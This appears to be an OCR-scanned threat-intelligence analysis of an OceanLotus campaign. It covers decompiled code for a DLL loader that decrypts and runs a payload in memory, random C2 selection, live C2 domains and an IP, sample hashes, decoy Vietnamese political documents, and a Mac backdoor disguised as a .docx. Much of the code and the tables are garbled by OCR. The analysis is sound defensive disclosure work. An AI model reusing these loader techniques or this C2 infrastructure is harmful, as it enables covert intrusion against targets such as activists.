File name {9fbaa883-1709-4de3-8c1b-48683f740a5f}. Clsid file when a DllLoader, PE information is as follows:

EHiEthE timedate.dll
RERREEVC 9.0

TEE = b SIAGE

text CPlApplet USER32.dll

ot sewa
.data SHLWAPLJI

Fsrc KERMEL32.dII

reloc

The function of this DLL is mainly to decrypt and load shellcode with the same directory name as {9fbaa883-
1709-4de3-8c1b-48683f740a5f}, as shown in the figure:
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12| Buffer = 8;

13 memset(&vE, @, @xFFEu);

14| if ( !GetEnvironmentVariableW(L"{83558A16-9C19-4AF6-8D1A-F214D5FB5827}", &Buffer, @x3e@8u) )
15 Buffer = @;

16| SetEnvironmentVariableW(L"{83558A16-9C19-4AF6-8D1A-F214D5FB5827}", @);
17 SetEnvircnmentVariablewW(L"path", &Buffer);

18| GetWindowsDirectoryW(&Buffer, @x184u);

19 SetCurrentDirectoryW(&Buffer);

28| phumhArgs = @;

21 v@ = GetCommandLineW();

22| vl = (WCHAR *)ve;

23| if (ve )

24 {

25 v2 = 2 * lstrlenW(ve) + 2;

26 v3 = (LPCWSTR *}CommandLineToArgvk(vl, &pNumArgs);
27 if { v3 )

28

29 floldProtect = @;

38 if ( virtualProtect(vl, v2, 4u, &Fl0ldProtect} )
31 [

32 memset(vl, @, v2);

33 IstrcatW(vl, *v3);

34 } |
35 1

36

37 GetModuleFileNameW(hModule, &Buffer, @xl@4u);

38| PathRemoveExtensionW(&Buffer

39

48 ExitProcess(@):

41| return SleepEx(@xFFFFFFFF, @);

420}

Enter the sub_10001480 function, the contents of the file will be decrypted, and the PE will be loaded in memory:

1bool _usercall sub_10001480@<al>(const wehar_t *alfeax>)
2{

30 FILE *vi; // eax
FILE *v2; // edi

5 bool v3; // bl

6 int va; // esi

7 _DWORD *vS5 J/ edi

8 D *v6; /I eax

ned int i; // eax

10 FILE *vo; // [esp+Ch] [ebp-4h]
1
12 vl = _wfopen(al, L"rb"); 31 if (v4 &% S > v4 BR w7 > uS )
13 Vi 32 {
14 vil=o; 33 vE = Virtualilloc(@, v7 + 4096, @x1000u, @x48u);
15 a; 34 V9 = vB;
16 ve = v 35 result = v8 1=
17 iF (v1) 36 if ( result )
18 37
19 fseek(v1, 8, 2); 38 memset(v9, @, v7);
20 vd = fell(v2); 39 memcpy(v9, a1, vi6);
21 vz=was e g v18 = va[15];
22} a1 OR r )0 4 V10 + 40);
23 Vs =@ a2 tyus + vie;
24 if (V3 ) a3 dword_10618C88 = (int)v9;
25 { a4 if (v11)
26 b = operator new(vi + 256); as dword_1801657C = (int (_stdcall *)(_DWORD, DWORD, _DWORD))((char *)va + vi1);
27w 46 if ( S(WORD *)(v12 + 6) )
28 v3 v6 1= 85 a7 {
29 if (e ) 43 IORD *) (v14 + w12 + 44);
30 { 49 (unsigned _int1s *)(vi2 + 6)3
31 memset(v6, @, v4); 50
32 fseek(v9, B, 8); 51
3 Fread(vs, 1, vi, v3); 52 memepy((char “)ua + *(vi3 - 2), (char ")al + i3, *(vii - 1));
3 s3 Vi3 += 10;
EEI 54| 173
36 if (v ) 55 }
37 fclose(va); s6 while (V17 );
38 i (3 ) 57 V7 = viss
39 { 58 ¥
40 for (i = @x10000; i < vi; ++i 59 result = sub_100@1108((int)vd, v7);
41 =((_BYTE *)u5 + 1) *= *({_BYTE *)5 + i % Ox10000); 68 if ( result)
42 V3 = sub_10801368(v5 + x4000, 4 - OX10000); -  O1
a3 } 62 result = subﬁlmlzﬁo(l(mt)w, v15);
44 if (v5) 63 if ( result )
45 operator delete(vs); 64 {
46 return vi; 65 if ( dword_1001@BFC )
47} 66 result = dword_1061BFC(dword_10010C00, 1, @) != 0;
67 1
68 }
69 3
7@ }

The PE after decryption in memory is shown in the figure below:
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10080151D|| . 3BF@ cmp esi, eax
1888151F L fE 1D jle short 1888153E
18881521(| > | 8BCB rmoy ecx, eax
18881523 (| . | 81E1 FFFFa831| and ecx, $886FFFF
108881529|| .. | 79 B8 jns short 188681533
10868152B|] . | 49 dec ecx
1086152C|| . | 81C9? BOOOFFFI| or ecx, FFFFoBe8
108881532|] . | 81 inc ecx
100881533|] > | 8A1439 mowv dl, byte ptr [ecx+edi]
10881536|] . | 381438 ®or byte ptr [eax+edi]. dl
180881539|] . | 48 inc eax
1888153A(| . | 3BCA cmp eax, esi
1880153C|| .*| 7C E3 Lj1 short 18881521

> LE81C6 BOOBFFFI add esi, FFFFO000
108881544|] . 56 push esi

ADR7 AAAAAIAI1ea psi. dwnrd ntr [edi+1AAAAT

esi=00053200

H#EEFEG 1000151F

[1081[1[1!!'_&) Sh 90 00 B3 OO B0 00 84 G0 08 66 FF FF 00 8@/ H2? ... | . .ijii.. || -
HBE16658 (BB B0 00 B0 B0 B0 OO GO 49 B0 00 00 60 98 @0 68| 7...... [ooooooo |
HoE16668| B8 B8 60 B0 B0 B0 OGO GO A0 OO 00 OO0 6O 80 @0 60| ................
HOB10678| 60 B0 00 60 B0 08 G0 00 00 OO 00 0O ES 00 88 68| ............ T..

B0B10088| BE 1F BA OF ©@ BA 89 CD 21 BS 01 AC CD 21 54 68|WN?_?7EL?Th =
BOB10698 |69 73 28 78 72 6F 67 72 61 6D 20 63 61 6E 6E 6F | is program canno
BOB106AR | 7h 28 62 65 28 72 75 6E 28 69 6E 28 44 AF 53 28(t be run in DOS
B0B10668| 6D 6F 64 65 2E 6D @D 6A 24 0O 00 08 00 08 06 60| mode....$.......
BOB106CE| 96 BC 41 FA D2 DD 2F 29 D2 DD 2F 29 D2 DD 2F 29 |iHAzR/)B/ES
BUB166D8 |23 1B E2 29 C8 DD 2F 29 DB A5 BG 29 DB DD 2F 29| kW?Z5/)4R7:H7)
BUB10BES|D2 DD 2E 29 A1 DD 2F 29 23 1B E1 29 1B DD 2F 29[}&.) /) WE7ET)
BOB100FE |23 1B E@ 29 96 DD 2F 29 F1 32 FC 29 D1 DD 2F 29| #M?iil/)77iE/)
80810168 B4 33 E5 29 D3 DD 2F 29 B4 33 E6 29 D3 DD 2F 29 ??E/)??Jﬁ'n

OOE10118 | B4 33 E3 29 D3 DD 2F 29 52 69 63 68 D2 DD 2F 29|77=/)RichiE/)
HOE16128| 60 B0 00 B0 60 60 B0 0O 58 45 00 08 AC o1 685 688 ........ PE..LLY.
AARIA127 | R0 RR A0 48 AA AR AR AA AR AR AA AA FA AA AP 21| WA 7 v

EHEREkomuid.dll
EERREENC 110

HEE EHE 5lAZ=

et Version KERMNEL32.4Il
rdata ADWAPIZZ.dII
.data SHELL32.dll
FSFC dbghelp.dll
reloc

DIlIMain creates a thread to execute the export function Version. In the Version function, the remote control

function will be executed all the time. If it fails, the sleep 6s will continue.

1BOOL __stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

24
3 if ( fdwRea =1)
4 {
5 hMedule = tOLL;
CreateThread(®, ©x480000u, (LPTHREAD START_ROUTINE)Version, @, 0, @);
3 return 13
9}
1jpeid _ stdcall _ noreturn Versio 0ID lpThreadP ete
while ( 1)

{
5 sub_leeelese();
Sleep(6u);

Then a number less than 4 will be randomly generated, and C2 will be randomly selected, as shown in the figure:
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73 if (v17 >= ex1e )

74 j free(vis);

;2 \32 .Jéf ;",) ) ————p- Randomly generate numbers
77 within 4, select C2 by number
78 va = sub_1@@13BCO((int)&v13);

79 LOBYTE(v25) = 2;

80 vS = sub_1001405@((int)&v15, v4);

81 if ( &v21 I= (void **)us )

82

83 if (v23 >= exie )

84 j__free(v2l);

85 v23 = 15;

86 v22 = @;

87 LOBYTE(v21) = @;

88 if ( *(_DWORD *)(v5 + 20) >= @xleu )

g9

90 v2l = *(void **)v5;

91 *(_DWORD *)v5 = @;

92

93 else if ( *(_DWORD *)(v5 + 16) != -1 )

94

95 memmove (& 21, (const void *)v5, *(_DWORD *)(vS + 16) + 1);
96 }

97 v22 = *(_DWORD *)(v5 + 16);

98 v23 = *(_DWORD *)(v5 + 20);

99 =(_DWORD *)(v5 + 20) = 15;

100 *(_DWORD *)(v5 + 16) = @;

10l *(_BYTE *)v5 = @;

182

1e3 goto LABEL_36;

le4

105 I switch ( 1§ ) j —pp Select C2 by the
1e6 generated number
1e7 case 1:

108 v6 = sub_10@13B3@((int)&v13);

109 LOBYTE(v25) = 3;

110 goto LABEL_32;

111 case 2:

112 v6 = sub_10013A90((int)&13);

113 LOBYTE(v25) = 4;

114 goto LABEL_32;

115 case 3:

116 v6 = sub_18013A80((int)&v13);

117 LOBYTE(v25) = 5;

118 LABEL 32:

One of the functions to decrypt C2 is as follows:

11
12
13
14
15
16
17
18
15
26
21
22
23
24
25
26}

vl = this:

vd = "Bzt
v o= "$ed42';
vh = ""o&»"';

w? o= "Fxm:';

wvB = ":z";

*(_DWORD *)(this + 208) = 15;
*(_DWORD *)(this + 16) = @;

*(_BYTE *)this = @;
if { (_BYTE)v4 )
v2 = strlen({const char *)}&vd);
else
V2 o= B
sub lealdsea(vl, &v4, v2);
return v1;
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The 4 domain names are as follows:

images.ucange.com

preload.ointalt.com

maintenance.allidayser.com

report.cottallid.com

The hash of the sample associated with the domain name is as follows:
2 ea902abe453b70cf77e402cc16eb552
cc7b9eelb026e16a9d37e3988a714479
€60c35dd36c9f525007955e6b3a88b82

Binding files in this homologous sample:

Cc7b9ee1b026e16a9d37e3988a714479 bundled office files content is as follows:

NHA SANG LAP MANG XA HOI LIVENGUIDE Phin Béi Ludt ANMo thiv dyoe mor nhu ciu  shien, mot xu hudng cung cip dich vu 1 Nawdi dén
N, citbo cac khiu wung gian vArio cin vé dialy..

.

do. qua g v¢inhing cng sy o6 cing chi
1ap nén 951 ngd Livsmenide. gdm
shing nguti &l nang v3 sng tao wbat  Chaw
dumg nén LivenGuide nhihom nay.«

T nhing ¥ tuémg ban
budng va tm huyet, 101 43 wicn khai va thanh

dimg mang ¥4 b3l mai. Phong vien Bio LDN ¢o cude phong win vi Tidn siL¢
n dang sinh séng tai Phip v2 Auh, tha sing lip
mot mang xa hoi mei thanh lap va duoc nhidy ngudi

dang kham pha. Bo L3 15 do i chon tén Live and Guide, hav viét
gon lai thanh LivenGuide ¢

Tinh. duge biét auh 12 ha sing

n cing nhy dong lee nao 43 510 e cho bidt, dac didm 0ol batahat el ma
LivenGuide la give

lap mme Lé Trung Tinh: Thin
TS. L¢ Trung Tinhy: LivenGuide thic div va K
C6 thé ngi LivenGuide phiin nio két hop con ngoi hoat dong xi hoi va kinh gap nhau wong cic Hoat dong ngoai &t tve. €O thé ndi Hoat dong 13 1€ bao gbc
doanh trong 1. La nguti wanh ddu cho comg I v hoa Dong cing shekirsnguide.

by cho mat nude Viét Nam ty do va dan chi, i § thire 10 s cin thidt e vige Khing chi rao_83i, chia s¢ wén mang nhv cdc mang ic, Nawdl
ding Livenguide ¢4 thé tao cic Hoat dong. Cac Hoat déng n
mat budi doc sach chumg, day ‘<cing nhay chay bo, hay ban thio ¥4 cic vis
giip ching ta hiéu phau hon, 1§ chirc voi phan St hon va din din 1@ shimg thay phailam
48ide st

€ 1a to chic

an,

40 v§ moi g

Hoat déngnay co thé midn phiva cling o the thu phi«

LivenGuide c6 cic céng cu 4& moi Noudi ¢ hé tim thiy cic Hoat dong clia
Newdi khic vi quing bi Hoat déng cia minh, Newdi nio cing teong tic tén

LivenGuide thi Hoat déng cia ho cing duoc biét dén, v nhiéu ngudi tham sia

Neodi 12 nhing ngay thing lam
nang dong eia thé @i cing khoi dav nhidy ¥ teéng kinh doanh wong i, K
dang digu cong ch A

¢ host dong 1af

Translation:
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NHA SANG LAP MANG XA HOI LIVENGUIDE Phan D&i Luat ANM

“..D& vd hiéu hoa “Luat An ninh mang” ctia PCSVN, trang mang xa hoi
LivenGuide d& ra doi.N6 do ngudi Viét Nam 14p, danh cho dong bao
Viét Nam. Trang nay st dung 3 ngdn ngif: Viét, Anh va Phap..” Truéc
bé bi lam 16 théng tin khach hang cua Facebook, nhiéu ngudi dan
Viét Nam da Iira chon chuyén sang ding mang xa hgi méi. Phong vién
Bdo LDN c6 cudc phong van véi Tién si Lé Trung Tinh, mat ngudi Viét
hién dang sinh sang tai Phap va Anh, nha séng Iap mang xa hoi
LivenGuide — mét mang x& héi méi thanh 1&p va dugc nhiéu ngudi
quan tdm trong thi gian gan day.

Ngu®i sang lap LivenGuide - TS. Lé Trung Tinh cam két “quyén tur do
ngon lual
PV Béo LDN: Mén chao Tién si Lé Trung Tinh, dugc biét anh la nha
séng 1ap mang x& héi LivenGuide. Xin anh cho biét co duyén cling nhu
déng lyc nao da théi thic anh thanh 1ap mang xa hgi nay?Ts. Lé
Trung Tinh: Than chao Kiéu Phong va quy vi doc gia.

C6 thé néi LivenGuide phan nao két hop con ngudi hoat déng xa hoi
va kinh doanh trong t6i. La ngudi tranh dau cho céng Iy va hoa binh
trén Bign Dong cting nhur cho mét nure Viét Nam tyr do va dén chu, toi
y thirc 16 sy can thiét ca viéc ngudi Viét can khéng chi trao dai vei
nhau trén mang ma con phai gap ga, di cung, lam viéc cing, tham gia
cling nhirg hoat déng tir nhé dén Ién. Nhirng viéc nay gidp ching ta
hiéu nhau hon, t8 chirc véi nhau tt hon va dan dan tir nhitng thay dai
do sé thay dai xa hoi.

Ngoai ra nhitng ngay théng lam viéc tai London, mét trung tam tai
chinh n&ng déng cua thé gidi ciing khoi day nhiéu y twdng kinh doanh
trong t6i, khi dé dang diéu hanh mot cong ty vé du lich va té chirc
hoat ddng tai Chau Au. Téi nhan thay duge mdt nhu cau ty nhién, mét

2 ea902abe453b70cf77e402cc16eb552 bundled Office files content is as follows:

X

HERERIEFLIVENGUIDERATANMIZE

" ATEFACPVEY MBS REL" |, HZEMikLivenCuidefiET , BE
HEASHEA SN, X NEERT NS | gEE , IS
... ZBRYHEIET 7 FacebookIEFER | IFSHmEAERE
A4S, LONFEICESS T BRE D EMNEENEE
AlLe Trung Tinhf8+ , th2H2EM%ELivenGuidefIBIHEA. |
LivenGuide 22— HBAVI SIS | FEZRESGE, &if.

B8 ALivenGuide - TS. Le Trung TinhF& SICEH"
LDN{RRYIRIE : [HlLe Trung TinhiELElF , tbiFROH RIS
LivenGuidefIEIAA. AEEIEESRRER L MIZEREIINST
IHLEH4 ? Le Trung Tinh : ZEEHKieu PhongfIMBANEEE.

BILLs LivenGuide?ERFHEE Fatey TR ST E AR RHIAL
{ENEEIEIEY SIFIAR BERRTIHEITEIREE  BASER
JEE ARTNEEER LEEEE | AEERe0ER, B,
B, B&fF , B5NNBIXINES, REEEEHTRNETIEE
R, EYF , B SR SR e R AR,
BRTEBNIERZ, HR LRI ONERP GBI ETHR
HFZELeE , AEEE—FRENMEENIRIFIEAAS. .
AR T FERAER , —FEARRARESIRAE , DE T e
AFOHhIREES,

NEeviez , B SE—AnMEfEE S  REEHRY T
LivenguideZIpA , BIERERH , EEMBS R HEHRSEY
LivenGuide,

LDNARES : Le Trung TinhfE1-88iHLivenGuidelt MEFATE N,
5?

TS. LeTrung Tinh : ENEMRNEEHBESFRSIIKE. £
IRERRIET |, HAEMARREBE ECNEE | SIRESHEAE
TEAABSPIEREIEE . R EMHAEIEELveAIGuidelX

| SUTHAT PHIEN TOA XET XU GIAO DAN «
LE PINH LUQONG.

.

LeDinhLuone, sishnim 1936,

VinhHpd. gidehat K& Disa, gdophin

inh. ngth meliva Hoabink
nhiongty Eommnsa phil &
5 2016 Ong di i danoanki BND;3 Hep
th H 3 chénglaibat song
OngLumng b barvagngix 2472017 s rén deime & sanbbithameia dish
nhanleong tim Neuyén Van Oai 6 gida sk Yan Hoa. tiphNeha An. ¢

Nha hogt déng dan qurin L Dizh Luang bi ghép 181 “hoat donz nbam |t 63 chinh aavénuhan din’
theadizu 79 boluathink sw cllnam 1999+
= 3 domeloat i véu cau trd b do cho Lé Dinh Lum

vAphinga phiznea
Thucisnkibeachsitaithang§ /2018, sapg16/82018, Toaannhan dan tish Neb An duasa 5t
3 Lé Dinh Luone i téi i “

T : indni¥a uds Th vaengas LS b

drkisn & hoatdenzLéDinh Lyomataitinh Neh? An Phisn 35mha hoat déng
L Dinh Lvong dv kitnsé difnra tai T Vehi Anyanneay 168.¢

An.Xa Qudc Té véuciu MigtNam) 48ivdi Gng Lé Dinh
L s Vi Name

‘hitn dich Toan Cau cia An Xa Quac Té. che bist chivi hoat dongén
; in doshamiythin :

3 i ihink Theo An Xs Quis

i by b v dng L Dy

Ba Clare Alzar, Giam i
. £

énz L& Dink Lion
T.daylamitonan hatsing va o da doyay e
Luongphdi duoctia te dongay lptee v vl disukisn

He Keurhibeat dénsLéDinh L 5 Khing
hima Sngnay ki sam el 3 i chya, 42y s khiphitntoa
Snsméidres sipluatar

i Boss dons Lé Dinh Lysme 52 1 -

Dam 2016 do Nha may Thep Formesaza chat dds sa bisn’
4.dan gé Ahive,
3 ageer——

phaiton chaykhaiVigtNam

Translation:

o cictiy

2 Shihél quyénlod chonae din. Sng L Dinh L

quyéaty dongonlyan 6 Yigt Nam e

‘phan chinh i ci

o
o

o
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SUTHAT PHIEN TOA XET XU GIAO DAN
LE DINH LUONG

Lé Dinh Lugng, sinh nam 1956, 14 gido dan gido x(r Vinh Ho3, gido
hat Ké Dira, giéo phan Vinh. Ong tham gia d4u tranh dau cho Cong Iy
va Hoa binh, quyén con ngudi ciing nhu ciing ba con doi céng ty
Formosa phai boi thudng cho nan nhéan cac tinh mién trung sau khi
gay 6 nhiém viing bign nay hai nam 2016. Ong déng thi cling 1a mot
dén oan bj BND xa Hop Thanh lam thu thug, phi néng nghiép nhigu
nam nén éng da cung ngudi dan trong xa chang lai bat cong.

Ong Luong bi bét vao ngay 24/7/2017 khi dang di xe may trén duding
vé sau khi tham gia dinh tu nhan luong tdm Nguyén Van Oai & gido xir
Yén Hoa, tinh Nghé An.

Nha hoat dong dan quyén Lé Binh Lugng bi ghép t6i “hoat dong nham
lat dé chinh quyén nhan dén” theo dieu 79 b6 ludt hinh sy ¢t ndm
1999

Trude nhitng bat cong, cac ban tré da dong loat do biéu ngr yéu cau
tré tu do cho L& Binh Lugng va phén d&i phién toa

Thuc hién k& hoach xét xtr thang 8/2018, séng 16/8/2018, Toa an
nhan dén tinh Nghé An dua ra xét xtr so thdm vu én Lé Dinh Luong ve
61 “Hoat déng nham 14t d8 chinh quyén nhan dan”.

T4 chirc theo ddi nhan quyen An X& Qudc Té vao ngay 15 théng 8 ra
thdng céo bao chi trudc ngay dy kién dién ra phién xtr nha hoat déng
Lé Pinh Luong tai tinh Nghé An. Phién x(r nha hoat dong Lé Binh
Lugng du kien sé dién ra tai Toa én Nhan dan tinh Nghé An vao ngay
16/8

An Xa Qudc T€ yéu cau Viét Nam phai hiy bo phién x{r c6 dong co
chinh trj d&i véi ng Lé Binh Lugng, mét nha hoat déng vi nhan quyén
va mai trutng tai Viét Nam.

ARiBmERIIER
LE DINH LUONG

Le Dinh Luong , HH4ETF19565F , £Vinh Hoa#[X , Ke DuaX#&t ,
VinhHXIHXER, ST FIUENSIF , ARUARSFRISH
% | EREREDATHE201 65 S REKEHMETREHNEES,
fREEtEE—MEEE | fFEHop Thanh MR ARERZHAZE
HRUBRLARV B | TR AENARESAAF.
Luong#EEF2017457 5 24H7ENghe AngYen Hoa#l KIEH R/UKIE
Nguyen Van Oaif& , TERFHIEEEEAE Bt i,
RIB19905 IR IBREE 795 , BAUEFNZLe Dinh Luongiiis

B EEEBARTRERNE .

EXNAALE , FRAHERMENREMRLe Dinh LuongH Ul F#IRIE
[}

7E201858H |, AN2018F8F 160 LF , YR ARIZRLL STEEEA
RATEENES 98 , XdLe Dinh LuongZ2{4HN—EaZe{thitfT 7 &5,
FHERRAMET8H 1587 X Z2E e Dinh Luongfigiies] HEA
ZBIE T TEniERs. iEahaLe Dinh LuongiR¥IFRLHE T8 16 A1
P INZFS A

B RUBARE G B e ASURIIASEIEENZRLe Dinh Luongfy
BeaH.

ERFFFRUER ST SNSRI 3 | (UXER &SN
iSRS FIMNEREFIANNERIFITES , Le Dinh Luong5eEA4E
b SREEARTRE | XE—R
ATEFIBGAEWNEE | FILUREGS | Le Dinh LuongS5AER4gR AN
TR

ST ipE N & Le Dinh Luong R ETEMARITR —F5 2 BIRIESEIFT
SRR B AREEREIR R , thEEERTATE.
525KiERNZRLe Dinh Luong 2ILEMNHIERESE |, ERIEET M

The flow chart of the Dropper is as follows:

1. Arandomly generated key encrypts one of
—— its own global variables
After being released to the Temp directory,
E Set the value of the DB99050C
environment variable to a randomly generated key.
Dropper File With
Office icon

—

Released to the
%temp% directory after
modifying the global
varjable

And execute the file

2release the bundled Office files

3read the random key from the process environment variable
And cpen

Execute in memory after decrypting global variables
Decrypted PE

l
= &

Real Doc file released Decrypted PE

7.C2 communication
4. Release the following 3 files to
c\program files\microsoft\windows\system restore\ directory

1
1
_6read and decrypt the file_ I
Executed in memory I
1
1
1
1

i
1
I
[ 5 b
y rundli32,
' load this dil >
1
I
1
1

rstrui exe {9FBAAB83-_ }clsid {9FBAABB3- }

A comparison between this version of Dropper and the 2015 version of Dropper:

1. The Dropper in 2015 is to pass the randomly generated decryption key through the command line parameter,
while the Dropper in this version is to pass the key through the environment variables between the process chains

(API is SetEnvironmentVariableW and GetEnvironmentVariableW).

2, the presence of the 2015 version of the detection virtual machine, this version does not exist in the detection

virtual machine.

The following figure is: Dropper version of OceanLotus in 2015 passes the key through "-- ping" :
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fel BY “—ping+ DEFICHRM%E] + [ + %417 AITRK emp
St

-
el b « B, EENTLu);
suprinté_s(i a v, BukB@da, LVR ploghaitii™, BFatnn . B M « BedR) oA R REHIT T

P o H
nemcet (B Car tupinfo dpheserved, 8, Sxilu);
tart N H
wikowindew = 8
S lags = 15
ion hProcess = 8;
tion. hikresd = 8;
it Lon gePracessld = 8
Fr niermat lon  dulhresdld = 85
CreatefrocessWarathiane, & wndline, ®, ®, 9, EXEOOMOO, B, 9, Ritartupinfe, GFrecessinformation) sy i {Tome i

T
gete LABEL_37;

The following figure is: in this Dropper version, the randomly generated key is stored in the environment variable:

129 String = @;

136 memset(&v1065, @, 128u);

131 vs5l = &5tring;

132 v52 = &v113;

133 v53 = 163

134 do

135 {

136 V54 = *(v52 - 2);

137 *v51l = a@12345678%bcd[ (unsigned int){unsigned _ int8)*(vs2 - 2} > 4];
138 v55 = a@12345678%abcd[v54 & @xF];
139 v56 = {unsigned _ intB)}*(v52 - 1});
148 v51[1] = w55;

141 v51[2] = a@l23456789abcd[vSE >> 4];
142 v57 = a@l2345678%abcd[v5Ee & @xF];
143 v58 = {unsigned _ int8)}*v52;

144 vs1[3] = w573

145 v51[4] = a@l23456789%abcd[vSE >> 4];
145 v59 = a@l2345673%abcd[vSE & @xF];
147 ve@ = {unsigned _ int8)vw52[1];

148 v51[5] = v59;

149 v51[6] = aBl2345678%abcd[vER »> 4];
158 v51[7] = a@l2345678%9abcd[vEl & @xF];
151 Vil += 8;

152 V52 4= 45

153 --v53;

154 1

155 while { w53 };

156 lpvalue = (LPCWSTR)&v97;

157 t t ;
158 vel = SetErwir‘nnrrent\u’ar'ia_ble'u.'(L"DBQQBSBC", lpvalue) == @;
159 if { lpValue != [LPCWSTR}&v97 )

166 free{(void *}lpValue};

161 if ( vel )

Correlation Analysis

Trojan Samples

Through the analysis of the general backdoor of OceanLotus, a large number of homologous samples were found

through the features in its code:

MD5 Compile time The file size ~ Module name

ac5f18£1c20901472d4708bd06a2d191 In the 2018-06-13 5, 11:33:33 93184 DlIHijack. DLL
221e9962c9e7da3646619ccc47338ee8 In the 2018-06-25 s, 02:35:46 93184 DllHijack. DLL
26ea45578e05040deb0cc46ea3103184 In the 2018-07-02 s, 02:11:55 142336 DlIHijack. DLL
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200033d043c13b88d121f2c1d8d2dfdf

9972111cc944d20c9b315fd56eb3al77

bf040c081ad1b051fdf3e8ba458d3a9c

6c2a8612c6511df2876bdb124c33d3el

7dace8f91a35766e9¢66dd6258552b02

€9093362a83b0e7672a161fd9ef9498a

38f9655¢72474b6c97dc9db9b3609677

4bb4d19b42e74bd11459¢9358c1a6f01

f42611ac0ea2c66d9f27ae14706c1b00

c28abdfe45590af0ef5c4e7a96d4b979

cfOb74fe79156694a2e3ea81e3bb1f85

c78fd680494b505525d706c285d5ebce

77390c852addc3581d14acf06991982e

49e969a9312ee2ae639002716276073f

f5ad93917cd5b119f82b52a0d624a93

6291eabf6a8c58cad6a04879b7ba229f

9a10292157ac3748212tb77769873f6¢

a406626173132c8bd6fe52672deacbe?

93c3d6cffdcb0a2f29844£f130a920be

6b8fc8c9fedf4ef90b2fcbec0d24cfc9

1211dea7b68129d48513662e546c6e21

2f1f8142d479aldaf3cbd404c7c22f9f

0f877ad5464fcbb12e1c019adf7065cc

cab262b84dbd319f3df84f221e5c451f

07ff4f943b202f4e16c227679d9b598a

7a6ba3e26c86£3366f544f4553c9d00a

In the 2018-07-09 s, 03:00:10
In the 2018-07-13 s, 03:48:03
In the 2018-07-23 s, 03:11:16
In the 2018-07-23 s, 04:50:51
In the 2018-07-23 s, 12:59:23
In the 2018-08-07 s, 03:12:39
In the 2018-08-09 s, 10:11:58
In the 2018-08-13 s, 02:21:13
In the 2018-08-13 s, 08:46:56
In the 2018-08-15 s, 03:20:08
In the 2018-08-20 s, 02:12:34
In the 2018-08-20 s, 02:23:12
In the 2018-08-29 s, 03:20:46
In the 2018-08-29 s, 03:50:11
In the 2018-08-30 s, 08:22:15
In the 2018-09-04 s, 02:24:06
In the 2018-09-04 s, 02:42:21
In the 2018-09-06 s, 02:03:30
In the 2018-09-06 s, 08:01:41
In the 2018-09-10 s, 02:44:30
In the 2018-09-11 s, 03:06:50
In the 2018-09-17 s, 04:12:57
In the 2018-09-18 s, 02:24:47
In the 2018-09-18 s, 03:00:51
In the 2018-09-19 s, 02:01:04

In the 2018-09-24 s, 07:12:34
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2053632

142336

93184

93184

142336

92672

93184

168960

92672

92672

92672

92672

168960

93184

129536

92672

129536

92672

129536

119296

92672

111616

92672

111616

92672

93184

DllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIlHijack.
DIllHijack.
DllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.

DIllHijack.

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL
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518f52aabd9a059d181bfe864097091e

70a64ae401c0a5f091b5382dea2432df

d40b4277e0d417e2e0cff47458ddd62d

5f1bc795aa784f781d91acc97bec6644

305d992821740a9cbbda9b3a2b50a67c

7df61bc3al146fcf56fe1bbd3c26ea8c0

3c04352c5230b8cbaal2f262dc01d335

41f717eda9bc37de6ea584597f60521f

db81a7e405822be63634001ec0503620

865a7e3cd87b5bc5feec9d61313f2944

aad445e7ffc5ce463996e5db13350c5b

9bcd0b2590c53e4c0ed5614b127c6ba7

7338852de96796d7f733123f04dd1ae9

906a6898d099eb50c570a4014¢c1760£5

a530410bca453c93b65d0de465c428e4

de409b2fe935ca61066908a92e80be29

2756b2f6ba5bcf811c8baced5e98b79f

MAC Backdoor

In the 2018-09-25 s, 02:59:04
In the 2018-10-03 s, 04:17:51
In the 2018-10-09 s, 03:22:19
In the 2018-10-17 s, 08:02:50
In the 2018-10-22 s, 03:27:24
In the 2018-10-22 s, 03:34:11
In the 2018-11-14 s, 07:07:53
In the 2018-11-15's, 02:03:44
In the 2018-11-28 s, 08:55:24
In the 2018-11-29 s, 02:21:27
In the 2018-11-29 s, 08:18:42
In the 2018-11-29 s, 09:25:15
In the 2018-12-04 s, 02:27:26
In the 2018-12-04 s, 04:31:45
In the 2018-12-06 s, 03:21:22
In the 2018-12-10 s, 04:03:20

In the 2018-12-10 s, 04:29:12

111616

111616

95232

209412

92672

113664

92672

92672

112128

92672

115712

112128

92672

115712

115712

115712

92672

DllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIIHijack.
DIllHijack.
DllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIllHijack.
DIIHijack.
DIllHijack.
DIllHijack.
DIllHijack.

DIllHijack.

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

DLL

In the previous chapter, we found that the resolved IP of C2:rio.imbandaad.com was 198.15.119.125.When we

checked the IP again, we found that one of the domain names, web.dalalepredaa.com, had been labeled as

Q wrEr @

OceanLotus
=R UL E ST (T 195.15.119.125
198.15.119.125 e RS
HERS
HE BEEN BIFEY wE

2018/12/20 2019/05/03

IR E S AT A /R B 2019/01/21 2019/01/21 &

ASN 4520454 SECURED SERVERS L 2018/06,/29 2018/11/01
018/10/08 2018/10/31

IDCHEsS2E

- & 2018/ 2018/10/24

LR fwyhme
EREARE 20

014/09/28 2015/03/10

2015/07/24

And through this domain name, we discovered a OceanLotus's newest MAC sample.
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To disguised as a document, first of all, the sample will be in the folder name in docx d, lowercase Roman

numeral five hundred instead, to deceive users: Don khieu nai. d ocx

Windows looks like this:

3 |macpath : DIDon khieu nai.docx ! Contents »

b= B HE E= Fh

. _CodeSignature 2005/1/19 14:00 g ===

.. MacOs 2005/1/19 14:00 =

|| Resources 2019/5/7 14:30 g ==s3
|| . Pkglnfo 2005/1/19 14:00 _PKGINFO 244 1KB
@ Info.plist 2005/1/19 14:00 QuickTime Prefe... 1KB
|| Pkglnfo 2005/1/19 1400 3zt 1KB

On the Macosx system is the office icon of the docx file, is actually a directory:

DOCK

Daon khieu nal.docx

~ Don khieu nai.docx

Eg oo ol | 2B~ | | 3§ ~ Q, Search

